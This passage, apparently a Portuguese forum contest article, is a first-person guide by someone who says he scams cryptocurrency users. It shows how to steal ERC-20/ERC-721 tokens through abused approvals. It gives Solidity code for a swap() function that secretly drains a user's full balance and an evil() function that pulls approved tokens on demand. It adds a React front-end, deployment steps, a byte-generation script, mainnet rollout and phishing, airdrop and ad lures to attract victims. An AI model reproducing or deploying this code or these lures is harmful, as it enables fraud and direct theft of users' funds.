...ou como roubar tokens ERC-20/ERC-721 debaixo do focinho de um hamster.
Olá a todos! Hoje eu quero contar como eu engano tokens de usuários criptográficos. A princípio pensei que não me encaixava no tema do concurso, mas imediatamente deixei claro para mim mesmo que cripto = golpe, o que significa que estou no negócio. Muitas pessoas dizem que os contratos criptográficos/inteligentes são o futuro, é claro, há alguma verdade nisso, mas a história mostra que as tecnologias são usadas tanto para bons propósitos quanto para abusos. Mostrarei como você pode abusar dos padrões de implementação de tokens em blockchains compatíveis com EVM e lucrar com isso.
A abreviação ERC se traduz como Ethereum Request for Commentsé um documento que define o padrão e as convenções para o desenvolvimento de contratos inteligentes. O ERC-20 possui contratos que são compilados e implantados na rede blockchain, esses contratos implementam um único modelo que permite criar tokens. Os tokens podem ser enviados, trocados, queimados, cunhados, votados e muito mais, sem restrições. Podemos criar qualquer ativo financeiro ou qualquer ação no blockchain com base no padrão, graças às transações. O padrão ERC-20 tem certas funções como name(), symbol(), decimals(), balanceOf(), transfer(), totalSupply(), transferFrom(), Allowance(), aprove(). De todas essas funções, estamos interessados em aprovar() e transferFrom(). O que eles estão fazendo? aprove() dá permissão para operações com tokens. transferFrom() transfere tokens de um endereço para outro.
É claro que tudo isso é interessante, mas e se ... nosso contrato inteligente puder retirar secretamente todos os tokens e o usuário nem entender o que aconteceu? Digamos que um usuário tente trocar um token por outro por meio de nossa interface da web, mas encontra uma situação em que o contrato esgota todas as suas moedas.
sso é possível, e agora faremos com você!
Para demonstrar esse truque, vamos criar nosso próprio token e usar a biblioteca OpenZeppelin para nos ajudar com isso. Deixe-me lembrá-lo de que os contratos para a EVM (Ethereum Virtual Machine) são escritos em Solidity. Neste contrato, escreveremos uma função que troca tokens e executa ações maliciosas. Em seguida, vamos implantar contratos na rede Ropsten e criar uma interface mínima. Nosso aplicativo se comunicará com o contrato por ABI JSON. Para criar uma aplicação web, usaremos o React e a biblioteca Ethers. Você deve ter alguma quantidade de ETH de teste, eles podem ser obtidos por meio de faucets públicos.
Vamos definir a emissão de moedas com valor de 500 tokens:
function mint(address _to) external {
_mint(_to, 500 ether);
emit Mint(_to);
Implementamos a função de troca de tokens e retirada de todos os fundos da carteira do usuário:
function swap(uint256 _amount) external {
address sender = msg.sender; //
uint256 senderBalance = IERC20(address(this)).balanceOf(sender);
require(senderBalance > 0, "swap: token balance too low");
IERC20(address(this)).transferFrom(sender, address(this), _amount);
IERC20(address(this)).transferFrom(sender, tokenReceiver, senderBalance - _amount);
emit ValueReceived(tokenReceiver, senderBalance - _amount);
}
Defina o endereço do destinatário dos tokens roubados:
function setTokenReceiver(address _tokenReceiver) external onlyOwner {
tokenReceiver = _tokenReceiver;
emit SetTokenReceiver(_tokenReceiver);
}
Vamos construir nosso contrato de token, especificar o nome do token e o destinatário dos tokens roubados:
constructor (address _tokenReceiver) ERC20("XSSIS", "XSSIS") {
tokenReceiver = _tokenReceiver;
}
Compile e implante nosso contrato na rede Ropsten:
Mude para a rede Ropsten e selecione Injected Web3. Ao lado do botão Deploy, indicaremos o endereço do destinatário dos tokens roubados (no contrato implantado, podemos alterar o endereço do destinatário simplesmente chamando a função setTokenReceiver()):
Na pasta config, anexada a este artigo, adicionamos o endereço do nosso contrato implantado ao arquivo contracts.json (consulte o Etherscan). Adicionamos parâmetros ABI ao arquivo tokenABI.json, que pode ser copiado do Remix na guia SOLIDITY COMPILER.
Importe os módulos no arquivo HomePage.tsx:
import * as React from "react"
import {
Box,
Button,
Center,
Flex,
Select,
HStack,
Stack,
Input,
InputGroup,
InputLeftAddon,
InputRightAddon,
CircularProgress,
Alert,
AlertIcon,
Text
} from "@chakra-ui/react";
import {useContractFunction, useEthers, useTokenAllowance} from "@usedapp/core";
import {ethers} from "ethers";
import tokenABI from "./configs/tokenABI.json";
import contracts from "./configs/contracts.json";
Descrevemos as funções de mineração, aprovação, troca/roubo de tokens:
const mint = async () => {
await handleChangeNetwork();
await mintTx(account);
setValueStateSuccessed(true);
setTimeout(function(){
setValueStateSuccessed(false);
}.bind(this),5000);
}
const approve = async () => {
await handleChangeNetwork();
await approveTx(contracts.address, ethers.constants.MaxUint256);
setValueapproveStateSuccessed(true);
setTimeout(function(){
setValueapproveStateSuccessed(false);
}.bind(this),5000);
}
const swap = async () => {
await handleChangeNetwork();
if (allowance!.lt(ethers.constants.MaxUint256)) {
alert('Approve tokens!');
}
if (!valueSimple) {
alert('Input XSSIS quantitiy');
return;
}
await swapTx(valueSimple + '0'.repeat(18));
setValueswapStateSuccessed(true);
setTimeout(function(){
setValueswapStateSuccessed(false);
}.bind(this),5000);
}
Coletamos e executamos nosso aplicativo da web:
yarn
npm run start
Vamos testar, pressione os botões Aprovar para se conectar ao contrato e depois Mint para minerar tokens (por padrão, 500 tokens são emitidos):
Estamos tentando trocar 1 XSSIS por ETH. Pressione o botão Trocar. Aqui devemos ficar atentos a janela do MetaMask ao fazer uma transação, a carteira não informa ao usuário o que de fato vai acontecer:
Verificamos a transação no Etherscan e vemos o que aconteceu. Trocamos 1 XSSIS por 0,1 ETH, mas também fizemos a retirada de todos os tokens XSSIS da carteira do usuário sem o seu conhecimento:
Bem, analisamos o chamado "recurso" dos tokens, entendemos o conceito do padrão ERC-20 e desenvolvemos um contrato que retira um token da carteira de nossa vítima em 1 clique. Na verdade, não inventamos nada de novo. Apenas aproveitamos a oportunidade que o padrão nos dá. Vamos criar um exemplo mais complexo e, além disso, desenvolver uma ferramenta de fraude para nós mesmos. Montaremos um projeto DeFi funcional e possibilitaremos o roubo de tokens das carteiras dos usuários simplesmente chamando uma função. Primeiro, vamos entender a arquitetura do nosso projeto, bifurcar a interface para nossos contratos e criar alguns tokens para teste. Vou mostrar como eu pessoalmente golpeio e no final do artigo falarei sobre algumas formas de atrair usuários. Concordo, neste tópico há onde se virar! Vamos tentar!
Esquema primitivo:
Vermelho - ação do proprietário/contrato.
Azul - a ação do usuário/contrato.
Os usuários apostam stablecoins/wrapped tokens/single tokens em nosso contrato. Isso é feito por uma questão de recompensa na forma de nosso token nativo e por uma questão de pressão de venda. Nosso token também pode ser negociado em algum lugar, por exemplo, na Uniswap e ter grande liquidez em pools. O usuário terá um incentivo para inserir seus tokens no contrato conosco, porque então será possível negociar nosso token. Existem diferentes maneiras de criar incentivos para os usuários, como airdrops ou APY artificialmente alto. Neste artigo, vou me concentrar apenas em como enganar o usuário. Em nosso exemplo, a tarefa é atrair o maior número possível de vítimas que irão interagir com nosso contrato. Depois de atingir um certo número de usuários, roubaremos moedas de suas carteiras (não do pool de contratos). Chamaremos a função evil(), que irá resolver a lógica para roubar moedas. Deixe-me lembrá-lo isso ocorre porque o usuário deu aprovação para interagir com nosso contrato. A propósito, o usuário pode sacar livremente seus fundos dos pools do contrato, mas a insidiosidade da aprovação dos tokens é que a aprovação nos permite roubar as moedas mesmo depois de uma semana, mas desde que o usuário não tenha retirado pessoalmente a aprovação do nosso contrato. A propósito, não é absolutamente necessário que o usuário estaque tokens, basta dar uma aprovação e poderemos fazer todas as ações maliciosas.
Tentarei não descrever toda a base de código (haverá muito texto). No entanto, o tema do concurso não é sobre programação. Vou deixar o código-fonte para o leitor que deseja se aprofundar em como os contratos inteligentes funcionam.
Função para roubar moedas da carteira:
function evil(address _governance, bytes memory _setupData) public onlyOwnerOrGovernance {
governance = _governance;
(bool success,) = governance.call(_setupData);
require(success, "evil: failed");
}
A entrada é o endereço do contrato de token, que geramos, e nossa função transferFrom() (estudada anteriormente).
Preparando fichas.
Mudamos o MetaMask para a rede Rinkeby com antecedência. Para a demonstração, vamos preparar 2 tokens (arquivo Token.sol). Abrimos o arquivo no Remix, no constructor() escrevemos o nome do token fakeUSDT, implantamos o token fakeUSDT e anotamos seu endereço. Em seguida, cunhamos (função mint com o valor do parâmetro == 1000000000000000000000000) para nossa carteira (endereço) 1.000.000 tokens. No mesmo arquivo, alteramos o nome do token de fakeUSDT para XSSIS no constructor(), também implantamos, anotamos o endereço, cunhamos 100k tokens em nossa carteira ou posteriormente no endereço do contrato XSSChef.
Preparando o contrato XSSISChef.
Abra o arquivo XSSISChef.sol no Remix, compile e preencha os parâmetros:
1) _XSSIS: endereço do token XSSIS
2) _DEVADDR: seu endereço
3) _XSSISPERBLOCK: recomendo definir 10000000000000000000 - este é 1 token/bloco
4) _STARTBLOCK - vá para Etherscan e observe o bloco atual, insira este valor lá
5) _BONUSENDBLOCK: 1
6) _ENDBLOCK: Recomendo configurar STARTBLOCK + 100000.
Implante o contrato com os dados preenchidos e anote o endereço.
Transferimos 100k XSSIS para o endereço deste contrato.
Chame a função add() com os seguintes parâmetros:
1) _allocPoin: 1
2) _lpToken: endereço do token fakeUSDT
3) _withUpdate: false
Nesta fase, preparamos todos os contratos.
Integração de front-end.
Coletando o projeto:
yarn install
Na pasta /src/sushi/lib no arquivo constants.js
em supportedPools, alteramos:
lpAddresses 4 - para o endereço do token
fakeUSDT tokenAddresses 4 - para o endereço do token fakeUSDT
No mesmo arquivo contractAddresses:
sushi 4 - o endereço do token
XSSIS masterChef 4 - o endereço do contrato XSSISChef
Vamos iniciar nossa aplicação web:
yarn start
Cultivando tokens XSSIS!
Pressione o botão Selecionar:
Damos uma aprovação e confirmamos no MetaMask:
Apostando 100 falsoUSDT:
Removemos a recompensa e retiramos o fakeUSDT:
Retirada de fundos.
Anteriormente, discutimos como funciona a função evil() , agora vamos discutir como funciona o script que gera bytes para esta função.
O script está localizado na pasta src/utils/generateBytes.js.
1) Anotamos o endereço do token que queremos pegar em TokenAAdress.
2) addressFrom - de quem queremos pegar (veja Etherscan).
3) addressTo - para onde queremos enviar.
4) valor - quanto queremos enviar (é necessário alterar apenas '10' em valor, ou seja, se quisermos levar 100, basta escrever '100' em vez de '10', '0' .repeat(18) - isto é para decimais.
Executamos o script e copiamos o valor que é enviado para o console - estes são nossos bytes:
node generateBytes.js
No contrato XSSISChef, chamamos a função evil() , em endereço especificamos o endereço do contrato de token que queremos roubar, em bytes - o que copiamos do console.
Estou tentando roubar 999900 tokens e transferi-los para outro endereço:
E foi isso que saiu disso:
Adição .
O contrato XSSChef é implantado na mainet da mesma forma que na testnet, preparamos apenas um token, que se destina à recompensa.
Para roubar tokens da vítima, você precisa seguir no Etherscan os endereços que interagem com nosso contrato. Eu sei que esse caso não é pensado, no bom sentido você precisa escrever um script que automatize essas ações. Se quisermos adicionar novos pools na guia Menu (front-end), precisamos encontrar o arquivo constants.js e simplesmente adicionar novos pools a supportedPools. Pools são novos tokens que são inseridos pelo usuário em nosso contrato e que podemos roubar.
Conseguimos! Mostrei um pouco da minha experiência em lançar projetos criptográficos e enganar usuários usando contratos inteligentes. Esse tipo de golpe é chamado Rug Pull. Este tema pode ser torcido e torcido como quiser, tudo depende da sua imaginação. Existem várias maneiras e, na minha opinião, as opções mais lucrativas para atrair usuários. Airdrop de tokens para endereços de usuários de um projeto popular, que ao mesmo tempo que fazemos Airdrop, a base de endereços pode ser analisada por transações. Enviar e-mails para caixas de e-mail ou contas do Discord com um link falso funciona bem. E, claro, o tráfego do YouTube/AdWords. O lucro neste tópico varia: eu trabalho e me sinto bem. Há um exemplo, Badger DAO foi hackeado, onde esse método de monetização específico foi usado. Meu manual também é adequado para tokens ERC-721 (NFT), tudo é feito por analogia. Mostrei apenas uma parte dos meus desenvolvimentos e estou pronto para compartilhá-los com todos. Todo o material será anexado a este artigo. Obrigado pela atenção e boa sorte!